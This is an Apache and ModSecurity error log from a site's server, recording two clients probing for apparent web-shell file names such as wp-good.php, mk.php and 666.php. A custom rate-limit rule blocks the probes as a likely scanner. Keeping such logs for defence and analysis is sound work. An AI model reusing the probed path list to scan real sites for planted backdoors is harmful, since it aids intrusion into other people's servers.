[Thu Apr 23 21:43:23.435864 2026] [:error] [pid 64998:tid 65005] [client 4.232.90.249:34830] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeoh-4V5EysYcTLjmwiHjQAAAcM"]
[Thu Apr 23 21:43:25.440337 2026] [:error] [pid 64998:tid 65009] [client 4.232.90.249:37669] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeoh_YV5EysYcTLjmwiHkwAAAcc"]
[Thu Apr 23 21:43:26.927416 2026] [:error] [pid 64998:tid 65019] [client 4.232.90.249:34188] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeoh_oV5EysYcTLjmwiHlQAAAdE"]
[Thu Apr 23 21:43:27.646553 2026] [:error] [pid 65000:tid 65047] [client 4.232.90.249:43428] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeoh_76vRb9j6psK2ZaXYgAAAg4"]
[Thu Apr 23 21:43:28.639887 2026] [:error] [pid 65000:tid 65055] [client 4.232.90.249:37676] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeoiAL6vRb9j6psK2ZaXZwAAAhY"]
[Thu Apr 23 21:43:29.644482 2026] [:error] [pid 46953:tid 46976] [client 4.232.90.249:55146] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeoiAUnlpdHh-P6wKbo8PQAAAlQ"]
[Thu Apr 23 21:43:30.513485 2026] [:error] [pid 64998:tid 65021] [client 4.232.90.249:34867] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeoiAoV5EysYcTLjmwiHmwAAAdM"]
[Thu Apr 23 21:43:31.265359 2026] [:error] [pid 65000:tid 65032] [client 4.232.90.249:55166] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeoiA76vRb9j6psK2ZaXcQAAAgM"]
[Thu Apr 23 21:43:31.932044 2026] [:error] [pid 42971:tid 42987] [client 4.232.90.249:52587] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeoiAzEP2_5RswrH8bEtTgAAAAE"]
[Thu Apr 23 21:43:32.532542 2026] [:error] [pid 42971:tid 43006] [client 4.232.90.249:65077] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeoiBDEP2_5RswrH8bEtUAAAABQ"]
[Thu Apr 23 21:43:33.186732 2026] [:error] [pid 59700:tid 59706] [client 4.232.90.249:63666] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeoiBZXyGZJFeAIDWtktPAAAAUQ"]
[Thu Apr 23 21:43:33.857975 2026] [:error] [pid 65000:tid 65043] [client 4.232.90.249:65040] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeoiBb6vRb9j6psK2ZaXfwAAAgo"]
[Thu Apr 23 21:43:34.610921 2026] [:error] [pid 42973:tid 43046] [client 4.232.90.249:37679] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeoiBm6I0QqmmmLTHE0hngAAAIM"]
[Thu Apr 23 21:43:35.227882 2026] [:error] [pid 42971:tid 43001] [client 4.232.90.249:52553] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeoiBzEP2_5RswrH8bEtUwAAAA8"]
[Thu Apr 23 21:43:36.158806 2026] [:error] [pid 65000:tid 65043] [client 4.232.90.249:55154] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeoiCL6vRb9j6psK2ZaXjAAAAgo"]
[Thu Apr 23 21:43:36.737643 2026] [:error] [pid 64967:tid 64970] [client 4.232.90.249:52599] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeoiCIAV4GfOOdX8Qzp3OQAAAYE"]
[Thu Apr 23 21:43:37.587479 2026] [:error] [pid 46953:tid 46958] [client 4.232.90.249:43427] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeoiCUnlpdHh-P6wKbo8PgAAAkI"]
[Thu Apr 23 21:43:39.110515 2026] [:error] [pid 42973:tid 43067] [client 4.232.90.249:44672] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeoiC26I0QqmmmLTHE0hpAAAAJg"]
[Thu Apr 23 21:43:40.380906 2026] [proxy_fcgi:error] [pid 59700:tid 59724] [client 4.232.90.249:34827] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:43:40.623941 2026] [proxy_fcgi:error] [pid 59700:tid 59719] [client 4.232.90.249:34827] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:43:41.109709 2026] [proxy_fcgi:error] [pid 59700:tid 59702] [client 4.232.90.249:34827] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:43:41.351369 2026] [proxy_fcgi:error] [pid 59700:tid 59705] [client 4.232.90.249:34827] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:43:41.625303 2026] [proxy_fcgi:error] [pid 59700:tid 59717] [client 4.232.90.249:34827] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:43:41.867042 2026] [proxy_fcgi:error] [pid 59700:tid 59704] [client 4.232.90.249:34827] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:43:42.111644 2026] [proxy_fcgi:error] [pid 59700:tid 59712] [client 4.232.90.249:34827] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:43:42.355715 2026] [proxy_fcgi:error] [pid 59700:tid 59710] [client 4.232.90.249:34827] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:43:42.597544 2026] [proxy_fcgi:error] [pid 59700:tid 59708] [client 4.232.90.249:34827] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:43:42.838946 2026] [proxy_fcgi:error] [pid 59700:tid 59723] [client 4.232.90.249:34827] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:43:43.076999 2026] [:error] [pid 59700:tid 59715] [client 4.232.90.249:34827] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeoiD5XyGZJFeAIDWtktUQAAAU0"]
[Thu Apr 23 21:43:44.176892 2026] [:error] [pid 43083:tid 43107] [client 4.232.90.249:63675] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeoiEDC5hrvNXosL83J73gAAANY"]
[Thu Apr 23 21:43:44.904749 2026] [:error] [pid 59700:tid 59711] [client 4.232.90.249:37692] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeoiEJXyGZJFeAIDWtktVgAAAUk"]
[Thu Apr 23 21:43:46.703400 2026] [:error] [pid 25635:tid 25652] [client 4.232.90.249:39574] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeoiEsRxv6UsgRGKB3I1lAAAAQ0"]
[Thu Apr 23 21:43:47.585224 2026] [:error] [pid 64998:tid 65021] [client 4.232.90.249:65025] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeoiE4V5EysYcTLjmwiHqgAAAdM"]
[Thu Apr 23 21:43:48.521215 2026] [:error] [pid 43083:tid 43088] [client 4.232.90.249:4804] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeoiFDC5hrvNXosL83J75AAAAMM"]
[Thu Apr 23 21:43:49.405067 2026] [:error] [pid 59700:tid 59708] [client 4.232.90.249:34879] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeoiFZXyGZJFeAIDWtktWwAAAUY"]
[Thu Apr 23 21:43:49.934802 2026] [:error] [pid 64998:tid 65012] [client 4.232.90.249:34875] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeoiFYV5EysYcTLjmwiHsgAAAco"]
[Thu Apr 23 21:43:51.090562 2026] [:error] [pid 42971:tid 43008] [client 4.232.90.249:55230] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeoiFzEP2_5RswrH8bEtVgAAABY"]
[Thu Apr 23 21:43:52.347071 2026] [:error] [pid 42971:tid 43009] [client 4.232.90.249:64252] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeoiGDEP2_5RswrH8bEtVwAAABc"]
[Thu Apr 23 21:43:53.446988 2026] [:error] [pid 43083:tid 43100] [client 4.232.90.249:55192] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeoiGTC5hrvNXosL83J76gAAAM8"]
[Thu Apr 23 21:43:54.114069 2026] [:error] [pid 42971:tid 42997] [client 4.232.90.249:57726] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeoiGjEP2_5RswrH8bEtWQAAAAs"]
[Thu Apr 23 21:43:54.726619 2026] [:error] [pid 42972:tid 43024] [client 4.232.90.249:42393] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeoiGsOAb-3sOknsk4dEmwAAAEg"]
[Thu Apr 23 21:43:55.266861 2026] [:error] [pid 43083:tid 43096] [client 4.232.90.249:62567] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeoiGzC5hrvNXosL83J77QAAAMs"]
[Thu Apr 23 21:43:56.186690 2026] [:error] [pid 64967:tid 64986] [client 4.232.90.249:37183] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeoiHIAV4GfOOdX8Qzp3RAAAAZE"]
[Thu Apr 23 21:43:57.527747 2026] [:error] [pid 64998:tid 65015] [client 4.232.90.249:57699] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeoiHYV5EysYcTLjmwiHvQAAAc0"]
[Thu Apr 23 21:43:58.454297 2026] [:error] [pid 42972:tid 43017] [client 4.232.90.249:36485] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeoiHsOAb-3sOknsk4dEngAAAEE"]
[Thu Apr 23 21:43:59.214769 2026] [:error] [pid 42973:tid 43048] [client 4.232.90.249:42382] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeoiH26I0QqmmmLTHE0hsQAAAIU"]
[Thu Apr 23 21:43:59.910558 2026] [:error] [pid 64998:tid 65023] [client 4.232.90.249:42387] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeoiH4V5EysYcTLjmwiHwQAAAdU"]
[Thu Apr 23 21:44:00.473121 2026] [:error] [pid 59700:tid 59726] [client 4.232.90.249:36500] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeoiIJXyGZJFeAIDWtktYwAAAVg"]
[Thu Apr 23 21:53:09.022473 2026] [proxy_fcgi:error] [pid 42972:tid 43027] [client 51.12.86.96:21764] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:53:09.290107 2026] [proxy_fcgi:error] [pid 42972:tid 43033] [client 51.12.86.96:21764] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:53:09.557289 2026] [proxy_fcgi:error] [pid 42972:tid 43016] [client 51.12.86.96:21764] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:53:09.823351 2026] [proxy_fcgi:error] [pid 42972:tid 43029] [client 51.12.86.96:21764] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:53:10.089450 2026] [proxy_fcgi:error] [pid 42972:tid 43034] [client 51.12.86.96:21764] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:53:10.359323 2026] [proxy_fcgi:error] [pid 42972:tid 43022] [client 51.12.86.96:21764] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:53:10.892869 2026] [proxy_fcgi:error] [pid 42972:tid 43020] [client 51.12.86.96:21764] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:53:11.162183 2026] [proxy_fcgi:error] [pid 42972:tid 43030] [client 51.12.86.96:21764] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:53:11.447861 2026] [proxy_fcgi:error] [pid 42972:tid 43036] [client 51.12.86.96:21764] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:53:11.710503 2026] [:error] [pid 42972:tid 43035] [client 51.12.86.96:21764] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeokR8OAb-3sOknsk4dIewAAAFM"]
[Thu Apr 23 21:53:12.267513 2026] [:error] [pid 65000:tid 65055] [client 51.12.86.96:21857] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeokSL6vRb9j6psK2ZadhAAAAhY"]
[Thu Apr 23 21:53:12.909152 2026] [:error] [pid 42973:tid 43049] [client 51.12.86.96:21868] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeokSG6I0QqmmmLTHE0kKAAAAIY"]
[Thu Apr 23 21:53:13.618723 2026] [:error] [pid 42973:tid 43056] [client 51.12.86.96:21825] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeokSW6I0QqmmmLTHE0kKgAAAI0"]
[Thu Apr 23 21:53:14.219960 2026] [:error] [pid 65000:tid 65029] [client 51.12.86.96:21779] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeokSr6vRb9j6psK2ZadlgAAAgA"]
[Thu Apr 23 21:53:14.896972 2026] [:error] [pid 42972:tid 43040] [client 51.12.86.96:21867] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeokSsOAb-3sOknsk4dIfwAAAFg"]
[Thu Apr 23 21:53:15.531182 2026] [:error] [pid 65000:tid 65031] [client 51.12.86.96:21768] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeokS76vRb9j6psK2ZadmwAAAgI"]
[Thu Apr 23 21:53:16.213089 2026] [:error] [pid 65000:tid 65050] [client 51.12.86.96:21877] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeokTL6vRb9j6psK2ZadngAAAhE"]
[Thu Apr 23 21:53:16.892466 2026] [:error] [pid 65000:tid 65044] [client 51.12.86.96:21838] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeokTL6vRb9j6psK2ZadoQAAAgs"]
[Thu Apr 23 21:53:17.512343 2026] [:error] [pid 64998:tid 65023] [client 51.12.86.96:21767] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeokTYV5EysYcTLjmwiM9wAAAdU"]
[Thu Apr 23 21:53:18.846443 2026] [:error] [pid 64998:tid 65010] [client 51.12.86.96:21832] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeokToV5EysYcTLjmwiM-gAAAcg"]
[Thu Apr 23 21:53:19.396171 2026] [:error] [pid 65000:tid 65055] [client 51.12.86.96:21805] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeokT76vRb9j6psK2ZadpQAAAhY"]
[Thu Apr 23 21:53:20.199846 2026] [:error] [pid 64967:tid 64984] [client 51.12.86.96:21836] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeokUIAV4GfOOdX8Qzp4qAAAAY8"]
